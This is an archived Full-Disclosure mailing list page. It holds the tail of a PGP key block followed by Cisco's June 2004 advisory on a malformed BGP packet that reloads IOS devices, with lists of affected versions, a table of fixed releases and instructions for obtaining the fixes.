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
DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE=
=LRKC
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iQEVAwUBQNBTgney5gA9JdPZAQHB7Af/XRy01sYB1rDi0L+TwlQtW4nr4vwrJTOt
6pA/M+oNsW0SUPK3kCcN+v7mvuIrA69c1VZeYgfI4/dy0bdMntcVkOliikn0+m0i
e2SvKYY+/KC8wZaUIrKFbH4PA0Gdf40GmNVj4uq5KdwohJLGQDTa8eguiYocMjXv
E8QAdGTaPXEBGz8Ode6YMYAbauHbWXip9x6TyQ7NgiQ4mylabmmw8AUebVyM4oWS
a28uoT8nWPu+BwYNW0zt26clPhLvmHWFpIpqyaWERaWMuCrFHwlc753B2PCOVdnm
Yj/ugqlkkGRysclITz3WFbUGUKtd91AdZAEK6l+MxkuqRDZmNUYgHw==
=q9W1
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Cisco Security Advisory: Cisco IOS Malformed BGP packet causes reload

From: Cisco Systems Product Security Incident Response Team (psirtcisco.com)
Date: Wed Jun 16 2004 - 10:00:00 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cisco Security Advisory: Cisco IOS Malformed BGP Packet Causes Reload

Revision 1.0
============

Last Updated June 16 15:00 UTC (GMT)

For Public Release 2004 June 16 15:00 UTC (GMT)

- -------------------------------------------------------------------------------

Please provide your feedback on this document.

- -------------------------------------------------------------------------------

Contents

    Summary
    Affected Products
    Details
    Impact
    Software Versions and Fixes
    Obtaining Fixed Software
    Workarounds
    Exploitation and Public Announcements
    Status of This Notice: FINAL
    Distribution
    Revision History
    Cisco Security Procedures

- -------------------------------------------------------------------------------

Summary
=======

A Cisco device running IOS and enabled for the Border Gateway Protocol (BGP) is
vulnerable to a Denial of Service (DOS) attack from a malformed BGP packet. The
BGP protocol is not enabled by default, and must be configured in order to
accept traffic from an explicitly defined peer. Unless the malicious traffic
appears to be sourced from a configured, trusted peer, it would be difficult to
inject a malformed packet.

Cisco has made free software available to address this problem.

This advisory is available at
http://www.cisco.com/warp/public/707/cisco-sa-20040616-bgp.shtml.

Affected Products
=================

Vulnerable Products

This issue affects all Cisco devices running any unfixed version of Cisco IOS
code and configured for BGP routing.

A router which is running the BGP process will have a line in the config
defining the AS number, which can be seen by issuing the command show
running-config:

    router bgp <AS number>

This vulnerability is present in any unfixed version of IOS, from the beginning
of support for the BGP protocol, including versions 9.x, 10.x, 11.x and 12.x.

To determine the software running on a Cisco product, log in to the device and
issue the show version command to display the system banner. Cisco IOS software
will identify itself as "Internetwork Operating System Software" or simply "IOS
®." On the next line of output, the image name will be displayed between
parentheses, followed by "Version" and the IOS release name. Other Cisco
devices will not have the show version command or will give different output.

The following example identifies a Cisco product running IOS release 12.0(3)
with an installed image name of C2500-IS-L:

    Cisco Internetwork Operating System Software IOS (TM)
    
    2500 Software (C2500-IS-L), Version 12.0(3), RELEASE SOFTWARE

The release train label is "12.0."

The next example shows a product running IOS release 12.0(2a)T1 with an image
name of C2600-JS-MZ:

    Cisco Internetwork Operating System Software IOS (tm)
    C2600 Software (C2600-JS-MZ), Version 12.0(2a)T1, RELEASE SOFTWARE (fc1)

Additional information about Cisco IOS release naming can be found at
http://www.cisco.com/warp/public/620/1.html.

Products Confirmed Not Vulnerable

Products confirmed not to be vulnerable include devices which cannot
participate in BGP or cannot be configured for BGP.

Details
=======

The Border Gateway Protocol (BGP) is a routing protocol defined by RFC 1771,
and designed to manage IP routing in large networks. An affected Cisco device
running a vulnerable version of Cisco IOS software and enabling the BGP
protocol will reload when a malformed BGP packet is received. BGP runs over
TCP, a reliable transport protocol which requires a valid three way handshake
before any further messages will be accepted. The Cisco IOS implementation of
BGP requires the explicit definition of a neighbor before a connection can be
established, and traffic must appear to come from that neighbor. These
implementation details make it very difficult to send a BGP packet to a Cisco
IOS device from an unauthorized source.

A Cisco device receiving an invalid BGP packet will reset and may take several
minutes to become fully functional. This vulnerability may be exploited
repeatedly resulting in an extended DOS attack. This issue is documented in bug
IDs CSCdu53656 and CSCea28131.

Impact
======

Successful exploitation of this vulnerability results in a reload of the
device. Repeated exploitation could result in a sustained DoS attack.

Software Versions and Fixes
===========================

Note: Many of the releases in this table were fixed prior to the release of
other IOS advisories. Read the table carefully to determine if your IOS release
contains these fixes. Most fixed releases for the TCP and SNMP advisories such
as http://www.cisco.com/warp/public/707/cisco-sa-20040420-snmp.shtml and
http://www.cisco.com/warp/public/707/cisco-sa-20040420-tcp-ios.shtml
contained the fixes for this BGP advisory.

Each row of the Cisco IOS software table (below) describes a release train and
the platforms or products for which it is intended. If a given release train is
vulnerable, then the earliest possible releases that contain the fix (the
"First Fixed Release") and the anticipated date of availability for each are
listed in the "Rebuild," "Interim," and "Maintenance" columns. A device running
a release in the given train that is earlier than the release in a specific
column (less than the First Fixed Release) is known to be vulnerable. The
release should be upgraded at least to the indicated release or a later version
(greater than or equal to the First Fixed Release label). When selecting a
release, keep in mind the following definitions:

Maintenance

Most heavily tested, stable, and highly recommended release of a release train
in any given row of the table.

Rebuild

Constructed from the previous maintenance or major release in the same train,
it contains the fix for a specific defect. Although it receives less testing,
it contains only the minimal changes necessary to repair the vulnerability.

Interim

Built at regular intervals between maintenance releases and receives less
testing. Interims should be selected only if there is no other suitable release
that addresses the vulnerability. Interim images should be upgraded to the next
available maintenance release as soon as possible. Interim releases are not
available through manufacturing, and usually they are not available for
customer download from Cisco.com without prior arrangement with the Cisco TAC.

In all cases, customers should exercise caution to confirm that the devices to
be upgraded contain sufficient memory and that current hardware and software
configurations will continue to be supported properly by the new software
release. If the information is not clear, contact the Cisco TAC for assistance
as shown in the Obtaining Fixed Software section below.

More information on Cisco IOS software release names and abbreviations is
available at http://www.cisco.com/warp/public/620/1.html.

The fixes will be available at the Software Center located at
http://www.cisco.com/tacpage/sw-center/.

For software installation and upgrade procedures, see
http://www.cisco.com/warp/public/130/upgrade_index.shtml.

For a current view of all posted and repaired images for Cisco IOS, please
check the listing available to registered Cisco.com users at:
http://www.cisco.com/tacpage/sw-center/sw-ios.shtml.

+------------------------------------------------+
| Major | Availability of Repaired Releases |
| Release | * |
|------------+-----------------------------------|
| Affected | | Interim | |
| 11.1-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------------------------------|
| 11.1 | Migrate to 11.2 or later |
|------------+-----------------------------------|
| 11.1AA | Migrate to 11.2P or later |
|------------+-----------------------------------|
| 11.1CA | Migrate to 12.0 or later |
|------------+-----------------------------------|
| 11.1CC | Migrate to 12.0 or later |
|------------+-----------------------------------|
| Affected | | Interim | |
| 11.2-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------+---------+-------------|
| 11.2 | 11.2(26g) | | |
|------------+-----------+---------+-------------|
| 11.2P | 11.2(26) | | |
| | P7 | | |
|------------+-----------------------------------|
| 11.2SA | Not Vulnerable |
|------------+-----------------------------------|
| Affected | | Interim | |
| 11.3-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------+---------+-------------|
| 11.3 | 11.3(11f) | | |
|------------+-----------+---------+-------------|
| 11.3T | 11.3(11b) | | |
| | T5 | | |
|------------+-----------+---------+-------------|
| Affected | | Interim | |
| 12.0-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------+---------+-------------|
| 12.0 | | | 12.0(27) |
|------------+-----------------------------------|
| 12.0DA | Migrate to 12.2DA or later |
|------------+-----------------------------------|
| | 12.0(21) | | |
| | S7 | | |
| |-----------+---------+-------------|
| | 12.0(22) | | |
| | S2e | | |
| |-----------+---------+-------------|
| | 12.0(22) | | |
| | S3c | | |
| |-----------+---------+-------------|
| | 12.0(22) | | |
| | S4a | | |
| |-----------+---------+-------------|
| 12.0S | 12.0(22) | | |
| | S5 | | |
| |-----------+---------+-------------|
| | 12.0(23) | | |
| | S3 | | |
| |-----------+---------+-------------|
| | 12.0(24) | | |
| | S2 | | |
| |-----------+---------+-------------|
| | 12.0(25) | | |
| | S1 | | |
| |-----------+---------+-------------|
| | | | 12.0(26)S |
|------------+-----------------------------------|
| 12.0SL | Migrate to 12.0(23)S3 or later |
|------------+-----------------------------------|
| | 12.0(17) | | |
| | ST10 | | |
| | Available | | |
| | upon | | |
| 12.0ST | request | | |
| |-----------+---------+-------------|
| | 12.0(21) | | |
| | ST7 | | |
| |-----------------------------------|
| | Migrate to 12.0(26)S2 or later |
|------------+-----------------------------------|
| 12.0SV | | | 12.0(27)SV |
|------------+-----------+---------+-------------|
| 12.0SX | 12.0(25) | | |
| | SX | | |
|------------+-----------+---------+-------------|
| | 12.0(23) | | |
| | SZ3 | | |
|12.0SZ |-----------+---------+-------------|
| | | | 12.0(26)SZ |
| |-----------------------------------|
| | Migrate to 12.0(26)S2 or later |
|------------+-----------------------------------|
| 12.0T | Migrate to 12.1 or later |
|------------+-----------------------------------|
| | 12.0(16) | | |
| | W5(21c) | | |
| |-----------+---------+-------------|
| | 12.0(25) | | |
| | W5(27b) | | |
|12.0W5 |-----------+---------+-------------|
| | 12.0(26) | | |
| | W5(28a) | | |
| |-----------+---------+-------------|
| | 12.0(27) | | |
| | W5(29) | | |
|------------+-----------------------------------|
| 12.0WC | Not Vulnerable |
|------------+-----------------------------------|
| 12.0WX | Migrate to 12.0W5 or later |
|------------+-----------------------------------|
| 12.0XA | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XC | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XD | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XE | Migrate to 12.1E latest or later |
|------------+-----------------------------------|
| 12.0XG | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XH | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XI | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XJ | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XK | Migrate to 12.1T latest or later |
|------------+-----------------------------------|
| 12.0XL | Migrate to 12.2 latest or later |
|------------+-----------------------------------|
| 12.0XN | Migrate to 12.1 latest or later |
|------------+-----------------------------------|
| 12.0XP | Not Vulnerable |
|------------+-----------------------------------|
| 12.0XR | Migrate to 12.2 latest or later |
|------------+-----------------------------------|
| 12.0XS | Migrate to 12.1E latest or later |
|------------+-----------------------------------|
| 12.0XU | Not Vulnerable |
|------------+-----------------------------------|
| Affected | | Interim | |
| 12.1-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------+---------+-------------|
| 12.1 | | | 12.1(20) |
|------------+-----------------------------------|
| 12.1AA | Migrate to 12.2 latest or later |
|------------+-----------------------------------|
| | Not Vulnerable |
|12.1AX |-----------------------------------|
| | 12.1AY | Not Vulnerable |
|------------+-----------+-----------------------|
| 12.1AZ | | | 12.1(14)AZ |
|------------+-----------------------------------|
| 12.1DA | Migrate to 12.2DA or later |
|------------+-----------------------------------|
| 12.1DB | Migrate to 12.2B or later |
|------------+-----------------------------------|
| | 12.1(6) | | |
| | E12.0 | | |
| |-----------+---------+-------------|
| | 12.1(8b) | | |
| | E14 | | |
| |-----------+---------+-------------|
| | 12.1(11b) | | |
| | E12.0 | | |
| |-----------+---------+-------------|
| | 12.1(12c) | | |
| 12.1E | E7 | | |
| |-----------+---------+-------------|
| | 12.1(13) | | |
| | E6 | | |
| |-----------+---------+-------------|
| | 12.1(14) | | |
| | E4 | | |
| |-----------+---------+-------------|
| | 12.1(19)E | | |
| |-----------+---------+-------------|
| | | | 12.1(20)E |
|------------+-----------+---------+-------------|
| 12.1EA | 12.1(14) | | |
| | EA1 | | |
|------------+-----------+---------+-------------|
| 12.1EB | 12.1(14) | | |
| | EB1 | | |
|------------+-----------+---------+-------------|
| 12.1EC | | | 12.1(19)EC |
|------------+-----------+---------+-------------|
| 12.1EO | | | 12.1(19)EO |
|------------+-----------+---------+-------------|
| 12.1EV | 12.1(12c) | | |
| | EV2 | | |
|------------+-----------+---------+-------------|
| 12.1EW | | | 12.1(19)EW |
|------------+-----------------------------------|
| 12.1EX | Migrate to 12.1(14)E4 or later |
|------------+-----------------------------------|
| 12.1EY | Migrate to 12.1(14)E4 or later |
|------------+-----------------------------------|
| 12.1T | 12.1(5) | | |
| | T19 | | |
|------------+-----------------------------------|
| 12.1XA | Migrate to 12.1(5)T19 or later |
|------------+-----------------------------------|
| 12.1XB | Migrate to 12.1(5)T19 or later |
|------------+-----------------------------------|
| 12.1XC | Migrate to 12.1(5)T19 or later |
|------------+-----------------------------------|
| 12.1XD | Migrate to 12.2 or later |
|------------+-----------------------------------|
| 12.1XE | Migrate to 12.1E latest or later |
|------------+-----------------------------------|
| 12.1XF | Migrate to 12.2(4)T6 or later |
|------------+-----------------------------------|
| 12.1XG | Migrate to 12.2(4)T6 or later |
|------------+-----------------------------------|
| 12.1XH | Migrate to 12.2 or later |
|------------+-----------------------------------|
| 12.1XI | Migrate to 12.2 latest or later |
|------------+-----------------------------------|
| 12.1XJ | Migrate to 12.2(4)T6 or later |
|------------+-----------------------------------|
| 12.1XL | Migrate to 12.2T latest or later |
|------------+-----------------------------------|
| 12.1XM | Migrate to 12.2T latest or later |
|------------+-----------------------------------|
| 12.1XP | Migrate to 12.2(4)T6 or later |
|------------+-----------------------------------|
| 12.1XQ | Migrate to 12.2T latest or later |
|------------+-----------------------------------|
| 12.1XR | Migrate to 12.2T latest or later |
|------------+-----------------------------------|
| 12.1XT | Migrate to 12.2(4)T6 or later |
|------------+-----------------------------------|
| 12.1XU | Migrate to 12.2T latest or later |
|------------+-----------------------------------|
| 12.1XV | Migrate to 12.2XB or later |
|------------+-----------------------------------|
| 12.1XY | Migrate to 12.2XB or later |
|------------+-----------------------------------|
| 12.1YA | Migrate to 12.2(8)T10 or later |
|------------+-----------------------------------|
| 12.1YB | Migrate to 12.2(4)T6 or later |
|------------+-----------------------------------|
| 12.1YC | Migrate to 12.2(8)T10 or later |
|------------+-----------------------------------|
| 12.1YD | Migrate to 12.2(8)T10 or later |
|------------+-----------------------------------|
| 12.1YH | Migrate to 12.2(13)T5 or later |
|------------+-----------------------------------|
| 12.1YJ | Not Vulnerable |
|------------+-----------------------------------|
| Affected | | Interim | |
| 12.2-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------+---------+-------------|
| | 12.2(10d) | | |
| |-----------+---------+-------------|
| | 12.2(12e) | | |
| |-----------+---------+-------------|
| | 12.2(12h) | | |
| 12.2 | M1 | | |
| |-----------+---------+-------------|
| | 12.2(13c) | | |
| |-----------+---------+-------------|
| | 12.2(16a) | | |
| |-----------+---------+-------------|
| | | | 12.2(17) |
|------------+-----------+---------+-------------|
| 12.2B | 12.2(15) | | |
| | B1 | | |
|------------+-----------+---------+-------------|
| 12.2BC | 12.2(15) | | |
| | BC1 | | |
|------------+-----------------------------------|
| 12.2BW | Migrate to 12.2(15)T12 or later |
|------------+-----------------------------------|
| 12.2BX | | | 12.2(16)BX |
|------------+-----------------------------------|
| 12.2BY | Migrate to 12.2(15)B1 or later |
|------------+-----------------------------------|
| 12.2BZ | Migrate to 12.2(16)BX or later |
|------------+-----------------------------------|
| 12.2CX | | | 12.2(15)CX |
|------------+-----------+---------+-------------|
| 12.2DA | 12.2(12) | | |
| | DA6 | | |
|------------+-----------------------------------|
| 12.2DD | Migrate to 12.2(15)B1 or later |
|------------+-----------------------------------|
| 12.2DX | Migrate to 12.2(15)B1 or later |
|------------+-----------------------------------|
| 12.2EW | | | 12.2(18)EW |
|------------+-----------+---------+-------------|
| 12.2JA | | | 12.2(13)JA |
|------------+-----------+---------+-------------|
| | 12.2(14) | | |
| 12.2S | S2 | | |
| |-----------+---------+-------------|
| | | | 12.2(18)S |
|------------+-----------+---------+-------------|
| 12.2SE | | | 12.2(18)SE |
|------------+-----------+---------+-------------|
| 12.2SU | | | 12.2(14)SU |
|------------+-----------+---------+-------------|
| 12.2SV | | | 12.2(18)SV |
|------------+-----------+---------+-------------|
| 12.2SW | | | 12.2(18)SW |
|------------+-----------+---------+-------------|
| 12.2SX | 12.2(14) | | |
| | SX2 | | |
|------------+-----------+---------+-------------|
| 12.2SXA | 12.2(17b) | | |
| | SXA | | |
|------------+-----------+---------+-------------|
| 12.2SXB | 12.2(17d) | | |
| | SXB | | |
|------------+-----------+---------+-------------|
| 12.2SY | | | 12.2(14)SY |
|------------+-----------+---------+-------------|
| 12.2SZ | 12.2(14) | | |
| | SZ2 | | |
|------------+-----------+---------+-------------|
| | 12.2(4)T6 | | |
| |-----------+---------+-------------|
| | 12.2(8) | | |
| | T10 | | |
| |-----------+---------+-------------|
| | 12.2(11) | | |
| 12.2T | T9 | | |
| |-----------+---------+-------------|
| | 12.2(13) | | |
| | T5 | | |
| |-----------+---------+-------------|
| | 12.2(15) | | |
| | T4 | | |
|------------+-----------------------------------|
| 12.2XA | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XB | 12.2(2) | | |
| | XB16 | | |
|------------+-----------------------------------|
| 12.2XD | Migrate to 12.2(8)T10 or later |
|------------+-----------------------------------|
| 12.2XE | Migrate to 12.2(8)T10 or later |
|------------+-----------------------------------|
| 12.2XG | Migrate to 12.2(8)T10 or later |
|------------+-----------------------------------|
| 12.2XH | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XI | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XJ | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XK | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XL | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2XM | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2XN | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XQ | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XS | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XT | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2XU | Migrate to 12.2(15)T12 or later |
|------------+-----------------------------------|
| 12.2XW | Migrate to 12.2(11)T9 or later |
|------------+-----------------------------------|
| 12.2YA | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2YB | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2YC | Migrate to 12.2(11)T11 or later |
|------------+-----------------------------------|
| 12.2YD | Migrate to 12.2(8)YY or later |
|------------+-----------------------------------|
| 12.2YE | Migrate to 12.2S or later |
|------------+-----------------------------------|
| 12.2YF | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2YG | Migrate to 12.2(13)T5 or later |
|------------+-----------------------------------|
| 12.2YH | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2YJ | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2YL | Migrate to 12.3(2)T or later |
|------------+-----------------------------------|
| 12.2YM | Migrate to 12.3(2)T or later |
|------------+-----------------------------------|
| 12.2YN | Migrate to 12.3(2)T or later |
|------------+-----------------------------------|
| 12.2YO | Migrate to 12.2(14)SY or later |
|------------+-----------------------------------|
| 12.2YP | 12.2(11) | | |
| | YP1 | | |
|------------+-----------------------------------|
| 12.2YQ | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2YR | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2YS | Migrate to 12.3T or later |
|------------+-----------------------------------|
| 12.2YT | Migrate to 12.2(15)T4 or later |
|------------+-----------------------------------|
| 12.2YU | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2YV | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2YW | Migrate to 12.3(2)T or later |
|------------+-----------------------------------|
| 12.2YX | Migrate to 12.2(14)SU or later |
|------------+-----------------------------------|
| 12.2YY | 12.2(8) | | |
| | YY3 | | |
|------------+-----------------------------------|
| 12.2YZ | Migrate to 12.2(14)SZ or later |
|------------+-----------------------------------|
| 12.2ZA | 12.2(14) | | |
| | ZA2 | | |
|------------+-----------------------------------|
| 12.2ZB | Migrate to 12.3T or later |
|------------+-----------------------------------|
| 12.2ZC | Migrate to 12.3T or later |
|------------+-----------------------------------|
| 12.2ZE | Migrate to 12.3 or later |
|------------+-----------------------------------|
| 12.2ZF | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2ZG | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2ZH | Migrate to 12.3(4)T or later |
|------------+-----------------------------------|
| 12.2ZI | Migrate to 12.2(18)S or later |
|------------+-----------------------------------|
| 12.2ZK | | | 12.2(15)ZK |
|------------+-----------+---------+-------------|
| 12.2ZL | | | 12.2(15)ZL |
|------------+-----------------------------------|
| 12.2ZN | Migrate to 12.3(2)T or later |
|------------+-----------------------------------|
| 12.2ZO | | | 12.2(15)ZO |
|------------+-----------+---------+-------------|
| 12.2ZP | | | 12.2(13)ZP |
|------------+-----------+---------+-------------|
| Affected | | Interim | |
| 12.3-Based | Rebuild | ** | Maintenance |
| Release | | | |
|------------+-----------------------------------|
| 12.3 | Not Vulnerable |
|------------+-----------------------------------|
| 12.3T | Not Vulnerable |
+------------------------------------------------+

Obtaining Fixed Software
========================

Customers with Service Contracts

Customers with contracts should obtain upgraded software through their regular
update channels. For most customers, this means that upgrades should be
obtained through the Software Center on Cisco's worldwide website at
http://www.cisco.com/tacpage/sw-center.

Customers using Third-party Support Organizations

Customers whose Cisco products are provided or maintained through prior or
existing agreement with third-party support organizations such as Cisco
Partners, authorized resellers, or service providers should contact that
support organization for assistance with the upgrade, which should be free of
charge.

Customers without Service Contracts

Customers who purchase direct from Cisco but who do not hold a Cisco service
contract and customers who purchase through third-party vendors but are
unsuccessful at obtaining fixed software through their point of sale should get
their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC
contacts are as follows.

  * +1 800 553 2447 (toll free from within North America)
  * +1 408 526 7209 (toll call from anywhere in the world)
  * e-mail: taccisco.com

Please have your product serial number available and give the URL of this
notice as evidence of your entitlement to a free upgrade. Free upgrades for
non-contract customers must be requested through the TAC.

Please do not contact either "psirtcisco.com" or "security-alertcisco.com"
for software upgrades.

See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional
TAC contact information, including special localized telephone numbers and
instructions and e-mail addresses for use in various languages.

Customers may only install and expect support for the feature sets they have
purchased. By installing, downloading, accessing or otherwise using such
software upgrades, customers agree to be bound by the terms of Cisco's software
license terms found at http://www.cisco.com/public/sw-license-agreement.html,
or as otherwise set forth at Cisco.com Downloads at
http://www.cisco.com/public/sw-center/sw-usingswc.shtml.

Workarounds
===========

The effectiveness of any workaround is dependent on specific customer
situations such as product mix, network topology, traffic behavior, and
organizational mission. Due to the variety of affected products and releases,
customers should consult with their service provider or support organization to
ensure any applied workaround is the most appropriate for use in the intended
network before it is deployed.

For additional information regarding BGP security risk assessment, mitigation
techniques, and deployment best practices, please consult ftp://
ftp-eng.cisco.com/cons/isp/security/BGP-Risk-Assesment-v.pdf.

